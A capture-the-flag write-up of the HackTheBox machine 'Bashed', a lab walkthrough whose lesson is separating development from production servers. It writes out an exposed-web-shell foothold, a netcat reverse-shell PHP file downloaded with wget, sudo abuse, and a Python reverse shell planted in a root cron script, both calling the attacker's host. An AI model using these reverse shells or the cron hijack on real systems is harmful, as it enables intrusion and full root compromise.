6 min to read
HackTheBox - Bashed
Bashed highlights the importance of having a separate environment for development and production.
In this challenge, a developer creating a new web application uses a production web server for the development environment. I demonstrate abusing the artifacts left behind by the developer in order to compromise the system.
Enumeration
Starting out with a standard nmap scan, I find website on port 80
root@kali:~/htb/bashed# nmap -sC -sV -oA bashed 10.10.10.68
Starting Nmap 7.60 ( https://nmap.org ) at 2018-02-09 13:18 AEDT
Nmap scan report for 10.10.10.68
Host is up (0.32s latency).
Not shown: 999 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Arrexel's Development Site
- -sC run default scripts
- -sV probe open ports to determine service info
- -oA output all formats
I poke around on the website and it looks like a developer blog for something called phpbash. I click the only post from a user called development, and it gives a little more information on what this phpbash thing is.
The image on the blog post shows what looks to be a php shell located at /uploads/phpbash.php
. I smack that into my browser, but no luck.
Next I fire up gobuster
and go hunting for some more directories.
gobuster -u 10.10.10.68 -w /usr.share/wordlists/dirbuster/directory-list-2.3-medium.txt
I get a couple of hits. Considering the blog post explains that phpbash was developed on this exact machine, I figured the /dev
directory would be a good place to start.
I browse to /dev
and hit the jackpot.
Loading up /dev/phpbash.php
gives me an interactive web shell.
From here i’m able to quickly grab the user flag located in /home/arraxel/
user flag obtained!
Exploitation
To move on, i’m going to want a proper shell.
Referencing once again the trusty Pentest Monkey Reverse Shell Cheat Sheet, I create myself a quick and dirty php script that’ll send a reverse shell, and save as totallylegit.php
&1|nc 10.10.15.44 1234 >/tmp/f'); ?>
Staring a simple Python webserver allows me to serve the php shell over HTTP.
python -m SimpleHTTPServer 80
In the phpbash shell, I browse to a public readable directory that the www-data
user can write to - in this case /var/www/html/uploads
- and download my script to the machine.
wget 10.10.15.44/totallylegit.php
Browsing to /uploads/totallylegit.php
initiates a shell.
Privilege escalation
I run sudo -l
to see what my current user can do.
$ sudo -l
Matching Defaults entries for www-data on bashed:
env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
User www-data may run the following commands on bashed:
(scriptmanager : scriptmanager) NOPASSWD: ALL
It appears I can run any command as scriptmanager without a password.
I enumerate the system a little, and find /scripts
is owned by the user scriptmanager.
Trying to see what’s inside the /scripts
directory, I attempt to give myself a shell as the scriptmanager user - but get an error.
$ su -u scriptmanager /bin/sh -i
su: must be run from a terminal
The su
command must be run from a terminal; so lets get one.
$ python -c 'import pty; pty.spawn("/bin/bash")'
www-data@bashed:/var/www/html/uploads$ sudo -u scriptmanager /bin/sh -i
sudo -u scriptmanager /bin/sh -i
$ whoami
whoami
scriptmanager
$
From here I can now access the /scripts/
directory.
scriptmanager@bashed:/scripts$ ls -l
ls -l
total 8
-rw-r--r-- 1 scriptmanager scriptmanager 55 Feb 8 19:38 test.py
-rw-r--r-- 1 root root 12 Feb 8 19:37 test.txt
What stands out to me here, is that test.py
has read/write permissions set for the scriptmanager user.
Let’s take a look at the contents of test.py
scriptmanager@bashed:/scripts$ cat test.py
cat test.py
f = open("test.txt", "w")
f.write("testing 123!")
f.close
The script itself simply opens a file handler, and writes ‘testing 123!’ to test.txt.
The interesting bit is that the resulting test.txt
is owned by the root user. This indicates that test.py
is being executed by root somehow.
Using the Pentest Cheat Sheet once again, I replace the contents of test.py
with a python reverse shell.
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.15.44",1337));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
Less than a minute later, I get my root shell calling home.
root@kali:~/htb/bashed# nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.15.44] from (UNKNOWN) [10.10.10.68] 58032
/bin/sh: 0: can't access tty; job control turned off
# whoami
root
#
root flag obtained!
I checked out crontab and discovered why root is executing the test.py
script.
# crontab -l
* * * * * cd /scripts; for f in *.py; do python "$f"; done
#
There’s a cronjob that runs every minute and executes all python scripts in the /scripts directory.
Deconstructing the hack
There’s not really much to deconstruct in this one. I was able to gain initial access to the remote system by accessing a php shell that was being developed on the machine, and was left externally exposed.
The key takeaway here is:
In a modern world where low-cost cloud infrastructure can be quickly spun up and torn down, and you only pay for what you use, there isn’t an excuse for not having a separate environment for developing your software. Keeping production separate from development can help to ensure buggy code doesn’t lead to compromise of your network.
Comments